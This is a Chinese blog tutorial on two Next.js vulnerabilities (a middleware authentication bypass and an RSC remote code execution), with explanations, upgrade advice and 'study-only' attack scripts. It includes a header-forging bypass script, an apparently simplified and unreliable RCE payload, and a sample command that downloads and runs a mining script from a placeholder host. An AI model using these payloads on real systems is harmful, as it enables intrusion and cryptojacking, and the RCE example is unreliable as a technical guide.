Next.js 近期高危漏洞完整指南:原理 + 攻击示例(前端易懂版)

Next.js 近期高危漏洞完整指南:原理 + 攻击示例(前端易懂版)

一、漏洞核心信息速览(前端必知)

1. 事件背景(时间 + 起因)

  • CVE-2025-29927(身份验证绕过) :2025 年 3 月公开,实际隐藏 4 年!影响 Next.js 11.1.4 ~ 15.2.2 版本,起因是中间件对 x-middleware-subrequest 请求头校验太宽松,外部可伪造。

  • CVE-2025-66478(远程代码执行 RCE):2025 年 12 月 4 日披露,CVSS 10.0(最高危),影响 Next.js 15/16 及部分 14.x 测试版,源于 React Server Components(RSC)协议的反序列化漏洞,服务器会执行恶意请求里的命令。

2. 漏洞原理(通俗解释)

  • 绕过漏洞:Next.js 中间件把 x-middleware-subrequest 当作 "内部请求标识",但没验证是否真的是内部发的,攻击者拼几个合法值就能骗中间件放行。

  • RCE 漏洞:App Router 用 RSC 协议传输组件数据,服务器接收数据时没校验,直接执行里面的命令,相当于给攻击者开了 "服务器操作权限"。

3. 核心危害(前端能感知的影响)

  • 绕过漏洞:别人不用登录就能进后台(如 /admin),偷敏感数据、篡改内容。

  • RCE 漏洞:最致命!攻击者能操控服务器,偷数据库密码、植入挖矿程序(让服务器变 "肉鸡")、删除业务数据,甚至瘫痪服务。

4. 快速预防方案(前端直接能用)

  1. 优先升级:按版本对应升级(15.x→≥15.3.6;14.x→≥14.2.25;13.x→≥13.5.9)。

  2. 临时防护:用 Nginx/Cloudflare 拦截 x-middleware-subrequest 请求头(禁止外部提交)。

  3. 代码层面:关键路由(如登录、支付)不要只靠中间件校验,加二次验证(如接口层查 token 有效性)。

5. 涉及核心知识点(前端关联技能)

  • Next.js 中间件:运行在请求最前面的校验逻辑,不是前端代码,是服务端轻量函数。

  • RSC(React Server Components):App Router 核心,服务端渲染组件的协议,数据传输要校验。

  • 请求伪造:客户端可篡改请求头 / 请求体,服务端不能 "无条件信任"。

  • 依赖安全:框架底层漏洞只能靠升级修复,定期用 npm audit 查漏洞。


二、攻击代码示例(仅用于学习,严禁非法使用)

⚠️ 注意事项:

  1. 以下代码仅用于 漏洞原理学习,严禁用于攻击真实网站,否则需承担法律责任!

  2. 测试仅允许在自己搭建的漏洞环境(如本地部署受影响版本的 Next.js 项目)中进行。

  3. 演示脚本聚焦 "攻击核心逻辑",省略了真实攻击中的扫描、持久化等步骤,突出 "如何触发漏洞"。

(一)CVE-2025-29927(身份验证绕过漏洞)攻击示例

漏洞核心

伪造 x-middleware-subrequest 请求头,绕过中间件的登录校验,直接访问受保护路由(如 /admin)。

攻击脚本:bypass-auth.js
javascript 复制代码
// 需先执行:npm install axios

const axios = require('axios');

// 目标地址(自己搭建的测试项目)

const targetUrl = 'http://localhost:3000/admin';

// 核心:伪造请求头,触发中间件绕过

const attackConfig = {

   headers: {

     // 关键:拼接 5 次合法标识,触发新版本漏洞绕过

     'x-middleware-subrequest': 'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware',

     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' // 伪装浏览器

   }

};

// 发送攻击请求

axios.get(targetUrl, attackConfig)

   .then(response => {

     console.log('攻击结果:');

     console.log('状态码:', response.status);

     console.log('响应内容(前500字符):', response.data.slice(0, 500));

     if (response.status === 200) {

       console.log('✅ 身份验证绕过成功!已访问受保护的 /admin 路由');

     }

   })

   .catch(error => {

     console.log('攻击失败:', error.message);

   });
测试环境搭建(本地复现用)
  1. 新建受影响版本的 Next.js 项目(如 15.2.2):
lua 复制代码
npx create-next-app@15.2.2 test-vuln-project

cd test-vuln-project
  1. 创建中间件 src/middleware.js(模拟登录校验):
javascript 复制代码
import { NextResponse } from 'next/server';

export function middleware(req) {

   // 简单校验:没有登录 cookie 就拦截跳转到登录页

   if (!req.cookies.token) {

     return NextResponse.redirect(new URL('/login', req.url));

   }

   return NextResponse.next();

}

// 仅对 /admin 路由生效

export const config = { matcher: '/admin' };
  1. 创建 /admin 页面 app/admin/page.js
javascript 复制代码
export default function AdminPage() {

   return 后台(仅登录可见)\</h1>;

}
运行步骤
  1. 启动测试项目:npm run dev

  2. 运行攻击脚本:node bypass-auth.js

  3. 预期结果:无需登录 cookie,控制台输出 200 状态码和 admin 页面内容,绕过成功。


(二)CVE-2025-66478(RSC 远程代码执行漏洞)攻击示例

漏洞核心

构造符合 RSC 协议格式的 POST 请求体,注入系统命令(如 whoami),服务器会直接执行该命令。

攻击脚本:rce-attack.js
javascript 复制代码
// 需先执行:npm install axios

const axios = require('axios');

// 目标地址(启用 App Router 的受影响版本项目)

const targetUrl = 'http://localhost:3000';

// 核心:构造 RSC 协议的恶意请求体,注入系统命令

const maliciousBody = {

   // RSC 协议固定格式字段(简化版,模拟合法请求)

   id: '123',

   chunks: \[

     // 注入恶意命令:Windows 用 "whoami",Linux/Mac 用 "id"

     '{"type":"invoke","args":\[";whoami;"]}'

   ],

   version: '0.1',

   mode: 'server-component'

};

// 发送攻击请求(RSC 漏洞通过 POST / 触发)

axios.post(targetUrl, maliciousBody, {

   headers: {

     'Content-Type': 'application/json',

     'Accept': 'text/x-component' // RSC 协议要求的 Accept 头

   }

})

   .then(response => {

     console.log('攻击结果:');

     console.log('状态码:', response.status);

     console.log('响应内容:', response.data);

     // 校验命令执行结果(包含路径分隔符即为成功)

     if (response.data.includes('/') || response.data.includes('\\\\')) {

       console.log('✅ 远程代码执行成功!已获取服务器用户信息');

     }

   })

   .catch(error => {

     console.log('攻击失败:', error.response?.data || error.message);

   });
测试环境搭建(本地复现用)
  1. 新建受影响版本的 Next.js 项目(如 15.3.3):
lua 复制代码
npx create-next-app@15.3.3 test-rce-project

cd test-rce-project
  1. 启用 App Router(默认已启用,确保 app/page.js 存在):
javascript 复制代码
// app/page.js

export default function Home() {

   return >Next.js App Router 测试页;

}
运行步骤
  1. 启动测试项目:npm run dev

  2. 运行攻击脚本:node rce-attack.js

  3. 预期结果:

  • Windows 系统:响应中返回 DESKTOP-XXX\用户名

  • Linux/Mac 系统:响应中返回 www-data 或当前用户身份

  • 控制台输出 "远程代码执行成功"

📌 注:真实攻击中,攻击者会将

whoami

替换为恶意命令,例如:

json 复制代码
'{"type":"invoke","args":\[";wget http://恶意地址/挖矿脚本.sh && chmod +x 挖矿脚本.sh && ./挖矿脚本.sh;"]}'

本示例仅用 whoami 演示原理,切勿用于非法用途。


三、前端关键提醒

  1. 漏洞本质:都是 "信任了客户端输入"------ 中间件信了伪造的请求头,服务器信了伪造的 RSC 数据,核心是 "服务端未做严格校验"。

  2. 修复原则:框架底层漏洞,前端代码无法直接防御!必须升级 Next.js 到安全版本(这是最根本、最靠谱的方案)。

  3. 额外防护

  • 关键路由(登录、支付、后台)必须加 "双重校验"(中间件 + 接口层 token 验证),不要单靠中间件。

  • 自托管项目需在 Nginx/Cloudflare 层拦截恶意请求头(如 x-middleware-subrequest)。

  1. 日常习惯
  • 定期执行 npm audit 扫描依赖漏洞,及时更新补丁版本。

  • 关键业务优先使用 Vercel 托管(官方自带漏洞防护,自动屏蔽部分攻击)。

  • 服务器启用主机安全工具,监控异常进程和文件下载。

最后感谢阅读!欢迎关注我,微信公众号:《鲫小鱼不正经》。欢迎点赞、收藏、关注,一键三连!!!

相关推荐
2022.11.7始学前端17 小时前
n8n第七节 只提醒重要的待办
前端·javascript·ui·n8n
SakuraOnTheWay17 小时前
React Grab实践 | 记一次与Cursor的有趣对话
前端·cursor
阿星AI工作室17 小时前
gemini3手势互动圣诞树保姆级教程来了!附提示词
前端·人工智能
徐小夕17 小时前
知识库创业复盘:从闭源到开源,这3个教训价值百万
前端·javascript·github
xhxxx17 小时前
函数执行完就销毁?那闭包里的变量凭什么活下来!—— 深入 JS 内存模型
前端·javascript·ecmascript 6
StarkCoder17 小时前
求求你试试 DiffableDataSource!别再手算 indexPath 了(否则迟早崩)
前端
fxshy17 小时前
Cursor 前端Global Cursor Rules
前端·cursor
红彤彤17 小时前
前端接入sse(EventSource)(@fortaine/fetch-event-source)
前端
WindStormrage18 小时前
umi3 → umi4 升级:踩坑与解决方案
前端·react.js·cursor
十一.36618 小时前
103-105 添加删除记录
前端·javascript·html